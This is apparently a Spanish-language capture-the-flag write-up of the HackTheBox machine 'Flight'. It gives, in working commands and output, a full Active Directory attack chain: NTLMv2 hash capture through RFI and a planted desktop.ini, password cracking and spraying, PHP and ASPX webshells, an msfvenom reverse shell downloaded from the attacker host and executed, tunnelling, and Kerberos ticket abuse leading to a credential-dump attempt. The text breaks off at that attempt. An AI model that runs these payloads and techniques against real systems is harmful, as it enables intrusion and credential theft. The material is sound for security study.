xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Flight



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap 10.10.11.187
Nmap scan report for 10.10.11.187  
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49686/tcp open  unknown
49695/tcp open  unknown
65310/tcp open  unknown

Con crackmapexec ademas del nombre de la maquina obtenemos su dominio

❯ crackmapexec smb 10.10.11.187
SMB         10.10.11.187  445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)  

Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina mas el dominio como otro dominio

❯ echo "10.10.11.187 flight.htb g0.flight.htb" | sudo tee -a /etc/hosts  

Sabemos que corre un servicio http, si lo vemos desde la web encontramos una pagina donde realmente no encontramos absolutamente nada de interes

Al usar wfuzz para con un diccionario aplicar fuerza bruta y asi descubrir posibles subdominios sobre el dominio flight.htb encontramos uno diferente y es school

❯ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.flight.htb' -u flight.htb -t 100 --hh 7069  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://flight.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000624:   200        90 L     412 W      3996 Ch     "school"

Para que sepa a donde tiene que resolver agregamos el sudominio al /etc/hosts

❯ echo "10.10.11.187 school.flight.htb" | sudo tee -a /etc/hosts  

Al abrir la web desde el subdominio encontramos una página diferente que parece tener la temática de escuela de aviacion, tambien vemos algunas pestañas


Access - svc_apache


Haciendo clic en cualquiera de las pestañas que existen, podemos ver que gestiona las paginas con un html mediante el parametro view desde el index.php

Intentamos acceder al archivo hosts para leerlo mediante un LFI pero nos dice que se ha detectado una actividad sospechosa, parece que no le gusta un caracter

Parece que el caracter que esta en una blacklist es \ podemos simplemente cambiarlo por / y leer el contenido del archivo hosts o cualquier otro existente

Es vulnerable a LFI pero tambien se podria probar un RFI por si podemos acceder a un servidor smb externo que nosotros crearemos con smbserver de impacket

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0  
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Ahora hacemos una petición al parametro view indicando nuestro servidor smb

❯ curl "http://school.flight.htb/index.php?view=//10.10.14.10/kali"  

El servidor intentara cargar nuestro recurso smb tramitando asi una autenticación por lo que recibiremos el hash NTLMv2 del usuario en este caso es svc_apache

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.187,49491)
[*] AUTHENTICATE_MESSAGE (flight\svc_apache,G0)
[*] User G0\svc_apache authenticated successfully
[*] svc_apache::flight:aaaaaaaaaaaaaaaa:767f15361212ddffc8321ef1514cdc6e:010100000000000000bb5338827ed90199cb35a18ada0c3900000000010010004900500054004f0041006e0058004c00030010004900500054004f0041006e0058004c00020010006e006a00460067004d00700044006500040010006e006a00460067004d007000440065000700080000bb5338827ed90106000400020000000800300030000000000000000000000000300000e44056e4915aaed84e187bdf49bea59e8ebd9e7b60f3212c2aa556bb644695590a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100320039000000000000000000  
[*] Closing down connection (10.10.11.187,49491)
[*] Remaining connections []

Crackeamos el hash con john y obtenemos la contraseña del usuario svc_apache

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
S@Ss!K@*t13      (svc_apache)
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably  
Session completed.

Usando crackmapexec comprobamos las credenciales que son validas y listando ahora los recursos compartidos tenemos privilegios de lectura a varios de ellos

❯ crackmapexec smb flight.htb -u svc_apache -p 'S@Ss!K@*t13' --shares
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)  
SMB         flight.htb      445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [+] Enumerated shares
SMB         flight.htb      445    G0               Share           Permissions     Remark
SMB         flight.htb      445    G0               -----           -----------     ------
SMB         flight.htb      445    G0               ADMIN$                          Remote Admin
SMB         flight.htb      445    G0               C$                              Default share
SMB         flight.htb      445    G0               IPC$            READ            Remote IPC
SMB         flight.htb      445    G0               NETLOGON        READ            Logon server share 
SMB         flight.htb      445    G0               Shared          READ            
SMB         flight.htb      445    G0               SYSVOL          READ            Logon server share 
SMB         flight.htb      445    G0               Users           READ            
SMB         flight.htb      445    G0               Web             READ


Access - s.moon


Nos conectamos con smbclient, en el recurso Shared no podemos ver ningun archivo y en Web podemos ver las carpetas con los archivos de ambos dominios

❯ impacket-smbclient flight.htb/svc_apache:'S@Ss!K@*t13'@10.10.11.187  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
Shared
SYSVOL
Users
Web
# use Shared
# ls
drw-rw-rw-          0  Fri Oct 28 16:21:28 2022 .
drw-rw-rw-          0  Fri Oct 28 16:21:28 2022 ..
# use Web
# ls
drw-rw-rw-          0  Thu May  4 08:22:01 2023 .
drw-rw-rw-          0  Thu May  4 08:22:01 2023 ..
drw-rw-rw-          0  Thu May  4 08:22:01 2023 flight.htb
drw-rw-rw-          0  Thu May  4 08:22:01 2023 school.flight.htb
# cd flight.htb
# ls
drw-rw-rw-          0  Thu May  4 08:22:01 2023 .
drw-rw-rw-          0  Thu May  4 08:22:01 2023 ..
drw-rw-rw-          0  Thu May  4 08:22:01 2023 css
drw-rw-rw-          0  Thu May  4 08:22:01 2023 images
-rw-rw-rw-       7069  Thu Sep 22 16:17:00 2022 index.html
drw-rw-rw-          0  Thu May  4 08:22:01 2023 js

Eso no nos sirve de mucho asi que seguimos buscando, tenemos credenciales validas asi que podemos dumpear todos los usuarios que existentes del dominio

❯ crackmapexec smb flight.htb -u svc_apache -p 'S@Ss!K@*t13' --users
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         flight.htb      445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [+] Enumerated domain user(s)
SMB         flight.htb      445    G0               flight.htb\O.Possum                       badpwdcount: 0 desc: Helpdesk
SMB         flight.htb      445    G0               flight.htb\svc_apache                     badpwdcount: 0 desc: Service Apache web
SMB         flight.htb      445    G0               flight.htb\V.Stevens                      badpwdcount: 0 desc: Secretary
SMB         flight.htb      445    G0               flight.htb\D.Truff                        badpwdcount: 0 desc: Project Manager
SMB         flight.htb      445    G0               flight.htb\I.Francis                      badpwdcount: 0 desc: Nobody knows why he's here
SMB         flight.htb      445    G0               flight.htb\W.Walker                       badpwdcount: 0 desc: Payroll officer
SMB         flight.htb      445    G0               flight.htb\C.Bum                          badpwdcount: 0 desc: Senior Web Developer
SMB         flight.htb      445    G0               flight.htb\M.Gold                         badpwdcount: 0 desc: Sysadmin
SMB         flight.htb      445    G0               flight.htb\L.Kein                         badpwdcount: 0 desc: Penetration tester
SMB         flight.htb      445    G0               flight.htb\G.Lors                         badpwdcount: 0 desc: Sales manager
SMB         flight.htb      445    G0               flight.htb\R.Cold                         badpwdcount: 0 desc: HR Assistant
SMB         flight.htb      445    G0               flight.htb\S.Moon                         badpwdcount: 0 desc: Junion Web Developer
SMB         flight.htb      445    G0               flight.htb\krbtgt                         badpwdcount: 0 desc: Key Distribution Center Service Account
SMB         flight.htb      445    G0               flight.htb\Guest                          badpwdcount: 0 desc: Built-in account for guest access to the computer/domain  
SMB         flight.htb      445    G0               flight.htb\Administrator                  badpwdcount: 0 desc: Built-in account for administering the computer/domain

Guardamos todos los usuarios en un archivo users.txt y con un passwordspray podemos ver si otro usuario reutiliza la contraseña del usuario svc_apache

❯ crackmapexec smb flight.htb -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)  
SMB         flight.htb      445    G0               [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE

El usuario S.Moon reutiliza la contraseña, al listar nuevamente los recursos smb compartidos ahora tenemos privilegios de escritura en el recurso Shared

❯ crackmapexec smb flight.htb -u S.Moon -p 'S@Ss!K@*t13' --shares
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)  
SMB         flight.htb      445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [+] Enumerated shares
SMB         flight.htb      445    G0               Share           Permissions     Remark
SMB         flight.htb      445    G0               -----           -----------     ------
SMB         flight.htb      445    G0               ADMIN$                          Remote Admin
SMB         flight.htb      445    G0               C$                              Default share
SMB         flight.htb      445    G0               IPC$            READ            Remote IPC
SMB         flight.htb      445    G0               NETLOGON        READ            Logon server share 
SMB         flight.htb      445    G0               Shared          READ,WRITE      
SMB         flight.htb      445    G0               SYSVOL          READ            Logon server share 
SMB         flight.htb      445    G0               Users           READ            
SMB         flight.htb      445    G0               Web             READ


Access - c.bum


Un posible ataque como en Driver es cargar un archivo scf para cuando un usuario intente ver el icono este se carge de un recurso smb externo que crearemos

[Shell]
IconFile=\\10.10.14.10\kali\pwned.ico  

Sin embargo al conectarnos e intentar subir el archivo scf nos dice que no tenemos privilegios para hacerlo, esto aunque veiamos que teniamos WRITE

❯ impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@10.10.11.187  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use Shared
# put file.scf
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)  
#

Viendo algunas alternativas para conseguir el hash de un usuario mediante el icono podemos ver la de los archivos desktop.ini donde la sintaxis es muy parecida

[.ShellClassInfo]
IconResource=\\10.10.14.10\kali\pwned.ico  

Este tipo de archivo si que nos lo deja subir sin ningun tipo de restriccion

# put desktop.ini  
#

Después de unos segundos recibimos el hash NTLMv2 pero esta vez de C.Bum

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.187,56180)
[*] AUTHENTICATE_MESSAGE (flight.htb\c.bum,G0)
[*] User G0\c.bum authenticated successfully
[*] c.bum::flight.htb:aaaaaaaaaaaaaaaa:c4578e5b3224b6ee7f8f96dc7710097a:010100000000000000204e87837ed901ef855194e462670f0000000001001000710073007800700066004c0071006d0003001000710073007800700066004c0071006d000200100059006a00590076005200590061006c000400100059006a00590076005200590061006c000700080000204e87837ed90106000400020000000800300030000000000000000000000000300000e44056e4915aaed84e187bdf49bea59e8ebd9e7b60f3212c2aa556bb644695590a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100320039000000000000000000  
[*] Closing down connection (10.10.11.187,56180)
[*] Remaining connections []

De la misma manera crackeamos con john para ver la contraseña del usuario C.Bum

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Tikkycoll_431012284 (c.bum)
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably  
Session completed.


Shell - svc_apache


Comprobamos las credenciales del usuario C.Bum con crackmapexec y ahora tenemos privilegio de escritura sobre Web que contiene el codigo de la web

❯ crackmapexec smb flight.htb -u C.Bum -p Tikkycoll_431012284 --shares
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)  
SMB         flight.htb      445    G0               [+] flight.htb\C.Bum:Tikkycoll_431012284 
SMB         flight.htb      445    G0               [+] Enumerated shares
SMB         flight.htb      445    G0               Share           Permissions     Remark
SMB         flight.htb      445    G0               -----           -----------     ------
SMB         flight.htb      445    G0               ADMIN$                          Remote Admin
SMB         flight.htb      445    G0               C$                              Default share
SMB         flight.htb      445    G0               IPC$            READ            Remote IPC
SMB         flight.htb      445    G0               NETLOGON        READ            Logon server share 
SMB         flight.htb      445    G0               Shared          READ,WRITE      
SMB         flight.htb      445    G0               SYSVOL          READ            Logon server share 
SMB         flight.htb      445    G0               Users           READ            
SMB         flight.htb      445    G0               Web             READ,WRITE

Sabemos que flight.htb corre php asi que creamos un php que nos ejecute un comando a nivel de sistema controlado por una petición con el parametro cmd

<?php
    system($_REQUEST['cmd']);  
?>

Nos conectamos con smbclient y en el recurso Web entramos en el directorio flight.htb, ahora subimos el archivo php malicioso que hemos creado con put

❯ impacket-smbclient flight.htb/C.Bum:Tikkycoll_431012284@10.10.11.187  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use Web
# cd flight.htb
# put shell.php
#

Ahora hacemos una petición al php que subimos tramitando como data el comando whoami en el parametro cmd, nos devuelve el output como el usuario svc_apache

❯ curl flight.htb/shell.php -d "cmd=whoami"  
flight\svc_apache

Para conseguir una shell crearemos un exe el cual nos enviara una powershell a nuestro host por el puerto 443 y lo compartimos con un servidor http de python

❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1887 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora como comando ejecutamos un curl hacia el shell.exe y lo guardamos en C:\ProgramData como shell.exe, seguidamente lo ejecutamos desde una cmd

❯ curl flight.htb/shell.php -d "cmd=curl 10.10.14.10/shell.exe -o C:\ProgramData\shell.exe"  

❯ curl flight.htb/shell.php -d "cmd=cmd /c C:\ProgramData\shell.exe"

Al hacerlo recibimos una powershell en la máquina como el usuario svc_apache

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.187
Windows PowerShell running as user svc_apache on G0
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\xampp\htdocs\flight.htb> whoami
flight\svc_apache
PS C:\xampp\htdocs\flight.htb>


Shell - c.bum


Con netstat listamos los puertos internos y encontramos uno al que de antes no teniamos acceso, hay un servicio en el puerto 8000 que corre solo internamente

PS C:\xampp\htdocs\flight.htb> netstat -oat

Active Connections

  Proto  Local Address          Foreign Address        State           PID      Offload State  

  TCP    0.0.0.0:80             g0:0                   LISTENING       5544	InHost
  TCP    0.0.0.0:88             g0:0                   LISTENING       656	InHost
  TCP    0.0.0.0:135            g0:0                   LISTENING       912	InHost
  TCP    0.0.0.0:389            g0:0                   LISTENING       656	InHost
  TCP    0.0.0.0:443            g0:0                   LISTENING       5544	InHost
  TCP    0.0.0.0:445            g0:0                   LISTENING       4	InHost
  TCP    0.0.0.0:464            g0:0                   LISTENING       656	InHost
  TCP    0.0.0.0:593            g0:0                   LISTENING       912	InHost
  TCP    0.0.0.0:636            g0:0                   LISTENING       656	InHost
  TCP    0.0.0.0:3268           g0:0                   LISTENING       656	InHost
  TCP    0.0.0.0:3269           g0:0                   LISTENING       656	InHost
  TCP    0.0.0.0:3389           g0:0                   LISTENING       4984	InHost
  TCP    0.0.0.0:5985           g0:0                   LISTENING       4	InHost
  TCP    0.0.0.0:8000           g0:0                   LISTENING       4	InHost
  TCP    0.0.0.0:9389           g0:0                   LISTENING       2528	InHost
  TCP    0.0.0.0:47001          g0:0                   LISTENING       4	InHost
  TCP    0.0.0.0:49664          g0:0                   LISTENING       512	InHost
  TCP    0.0.0.0:49665          g0:0                   LISTENING       1152	InHost
  TCP    0.0.0.0:49666          g0:0                   LISTENING       1700	InHost
  TCP    0.0.0.0:49667          g0:0                   LISTENING       656	InHost
  TCP    0.0.0.0:49673          g0:0                   LISTENING       656	InHost
  TCP    0.0.0.0:49674          g0:0                   LISTENING       656	InHost
  TCP    0.0.0.0:49686          g0:0                   LISTENING       3008	InHost
  TCP    0.0.0.0:49695          g0:0                   LISTENING       2516	InHost
  TCP    0.0.0.0:49706          g0:0                   LISTENING       636	InHost
  TCP    0.0.0.0:65310          g0:0                   LISTENING       2024	InHost
  TCP    0.0.0.0:65315          g0:0                   LISTENING       2096	InHost
  TCP    10.10.11.187:53      g0:0                   LISTENING       3008	InHost

PS C:\xampp\htdocs\flight.htb>

Podemos usar chisel hacia nuestro host para pasar el puerto 8000 interno de la máquina a nuesto 8000 de nuestro host para asi tener acceso de manera sencilla

PS C:\ProgramData> .\chisel.exe client 10.10.14.10:9999 R:8000:127.0.0.1:8000  
PS C:\ProgramData>

❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:8000=>8000: Listening

Ahora podemos ingresar a la web desde nuestro localhost con el puerto 8000

Con icacls listamos los permisos de la ruta donde esta montado el servidor, podemos ver que el usuario C.Bum tiene acceso de escritura en ese directorio

PS C:\ProgramData> icacls C:\inetpub\development
C:\inetpub\development flight\C.Bum:(OI)(CI)(W)
                       NT SERVICE\TrustedInstaller:(I)(F)
                       NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)  
                       NT AUTHORITY\SYSTEM:(I)(F)
                       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                       BUILTIN\Administrators:(I)(F)
                       BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                       BUILTIN\Users:(I)(RX)
                       BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                       CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
PS C:\ProgramData>

De antes tenemos las credenciales de C.Bum, haciendo uso de RunasCs que es muy parecido a Runas pero nos permite declarar la contraseña desde el propio comando podemos ejecutar un comando como el, ejecutaremos el shell.exe

PS C:\ProgramData> Import-Module .\Invoke-RunasCs.ps1
PS C:\ProgramData> Invoke-RunasCs C.Bum Tikkycoll_431012284 C:\ProgramData\shell.exe  

No output received from the process.

PS C:\ProgramData>

Al ejecutar el archivo shell.exe que subimos antes, recibimos una powershell pero ahora como el usuario c.bum donde podemos leer la primera de las flags

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.187
Windows PowerShell running as user C.Bum on G0
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\Windows\system32> whoami
flight\c.bum
PS C:\Windows\system32> type C:\Users\C.Bum\Desktop\user.txt  
2a1**************************624
PS C:\Windows\system32>


Shell - defaultapppool


Ahora tenemos acceso de escritura en la web, pero ¿que subimos? al hacer un curl en las cabeceras de respuesta podemos ver que el servidor corre en ASP.NET

❯ curl 127.0.0.1:8000 -I
HTTP/1.1 200 OK
Content-Length: 45949
Content-Type: text/html
Accept-Ranges: bytes
Server: Microsoft-IIS/10.0  
X-Powered-By: ASP.NET

Podemos simplemente subir una webshell en aspx al directorio development

PS C:\inetpub\development> curl 10.10.14.10/cmd.aspx -o cmd.aspx  
PS C:\inetpub\development>

Desde la webshell podemos ejecutar comandos como el usuario defaultapppool

Simplemente ejecutamos el shell.exe para enviarnos una powershell

Al recibirla podemos ver que corre nos dice que la powershell la corre como el usuario G0$, quiere decir que al autenticarse este lo hace como la máquina

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.187
Windows PowerShell running as user G0$ on G0
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\inetpub\development> whoami
iis apppool\defaultapppool
PS C:\inetpub\development>


Shell - Administrator


Para explotar esto, podriamos usar net y crear un servidor smb de nuestro para tramitar una autenticación a el y asi recibir el hash NTLMv2 de la máquina

PS C:\inetpub\development> net use \\10.10.14.10\kali  
PS C:\inetpub\development>

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.187,56731)
[*] AUTHENTICATE_MESSAGE (flight\G0$,G0)
[*] User G0\G0$ authenticated successfully
[*] G0$::flight:aaaaaaaaaaaaaaaa:17f70683b5a573732e76ea70dcfb3937:010100000000000080b885f02082d9018de094ad702130ab000000000100100071006b006300770056006200440047000300100071006b00630077005600620044004700020010006500660079005700500072004c005a00040010006500660079005700500072004c005a000700080080b885f02082d9010600040002000000080030003000000000000000000000000030000021d22a684debad35e8469acb6b2eb39cc388ccd0c3a2be7c6e7629524b0c75f50a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0033000000000000000000  
[*] Closing down connection (10.10.11.187,56731)
[*] Remaining connections []

Usaremos Rubeus.exe para solicitar un TGT para la cuenta de la máquina G0$

PS C:\ProgramData> .\Rubeus.exe tgtdeleg /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: 93j1gYl9BsXq5zakcqn9B4L2CPwaVoAZM2tTX1QkPD8=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECjwU5HtXaEZsyEJ1rGwEkzIw8fRcGjkWE4gvDP5knMDUgwkyk4CfHjX+1BjYIuIcfQwaPuXU4IrNShlsSfTqBg4tXaw7HZ6ZcHX1LzC7hiOzpLx8hFm19lJlPAz0wMZH0qNgefoSptqWh6FLqIsWbfLHH5CZmz9EDEL50FXZjQ+zq/OVk1q2+E201+q9czrFrkHejq6HxMnmaS86xdapHpgbd8iVNf8RWz7IHyyy9+t6WdW/U6CdzxMJ13jmzZMzEEb9ij43I8JoNFS4n8ABDLJfejNwZN7aRQWOwr3mToGdkwSPon8JGCedZhFHl+aYS11zkFlLY7NzOcSs/s60fJ3s55mA4Add3ZJtD8HMkFIvoyQmK+MJQCk1xZSwllafljG2hY77c4GkON4fBLJnH29nYGxyhNag93v7XIufEBqKejSA8/ZvXBOy62Vgidhe6B7ThzHf/1SAfv9zmHJ7gYEcnxJxgktz6evv9xe6oP+XkDi4MZDnSq8JbTcRYpih/kv2C6cFuzLIOre/S1O92NHoYI4xTmjfKIo/8VPJVn+g3sjGB1ptG4190bP4Eb0oP5wDNRlJOa8sHD4CHJ3m6pH9ChJNubECONDQUEQbcL2OPyQoCE4MoesT8UeYYfEZx7Zs/mMqLFPc7+HTrbeb/bE3YMZ4K8Y7uhIWNCE9mndxKXqFPJvpVy6ArG3vGJPuNoWWVjwdg/PgCXh77Q2OEMX9SpgtjSYyTlkY5bxGiEYy+nfTlJ/c90AMSy43kXJAlZGzxj5vbHxTDcNt3iaYoKn3jlalueYua/4ZVu4O7Fwq0A5yw5CBMEBusOuw7Duq1pjxLbJo76gHcLQjZLXPp8jEtyFSeCUUulnZa5Sx5ZcdaAXg5mdMUWxESOrfmEMvDhI+UiMXjYvxlfDj9+yWnLM9+22eH6Ndf0R7IMYHrnku4Z7deZ/RwvVvzrKcmvRUHII7T3Q8neAGLL5eZsvDyahyTZqXzuUl9spEUa76tbQDoHBUX2vcT73miRYPwXLx9/VdK/0tG81KRDPvGXGM4sjL2G1q2jG/9vwxmu2QHnL5oNXtV+Hp31oKL19YyFFDP9a/uxoxtBZJPxt5FsfVFJn/wkTdU+AIdzgjjyG4deYrcFiTjYLbfiRfr6aVxb0P8QBYFI8OvEwiDTQLq+kCuQi5SRUjuvZSl20QIuF5ORXAnq+6Nc+H7+xAZpltwMTA6LW0LNJHHGSLGin5lta2eL16U6zqY3l6uV5YoSxz/XB9HiiCqdkspx9Dp5uPJtziQnfwBKorqddoxDZsYi9T3UDknc2K6RpisMekaU9LXvGAhSQvbhW2HHtlM5fCdps7JzR/9xHZ4JBvhkA7qYOk1i2vOU/4ZwzDQ+4Zo4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQglMvMKGOFEvUOEtSDUJxRN/f8O1+Ck8Tfh7Nv5B6JnUyhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDIzMDUwOTA0MTAzOVqmERgPMjAyMzA1MDkxNDEwMzlapxEYDzIwMjMwNTE2MDQxMDM5WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC  

PS C:\ProgramData>

Decodeamos el base64 que nos devuelve y lo guardamos como ticket.kirbi, usando ticketConverter lo convertimos a formato ccache y lo exportamos

❯ base64 -d kirbi.b64 > ticket.kirbi

❯ impacket-ticketConverter ticket.kirbi G0.ccache  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] converting kirbi to ccache...
[+] done

❯ export KRB5CCNAME=G0.ccache

Para evitar problemas con kerberos sincronizamos la hora con el dominio

❯ sudo ntpdate -s flight.htb  

Con crackmapexec comprobamos que la autenticación con el ticket es válida

❯ crackmapexec smb g0.flight.htb -k --use-kcache 
SMB         g0.flight.htb   445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)  
SMB         g0.flight.htb   445    G0               [+] flight.htb\ from ccache

Como la cuenta con la que nos estamos autenticando es la de la máquina G0$ deberiamos poder dumpear el ntds.dit para ver los hashes de los usuarios

❯ crackmapexec smb g0.flight.htb -k --use-kcache --ntds drsuapi
SMB         g0.flight.htb   445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)  
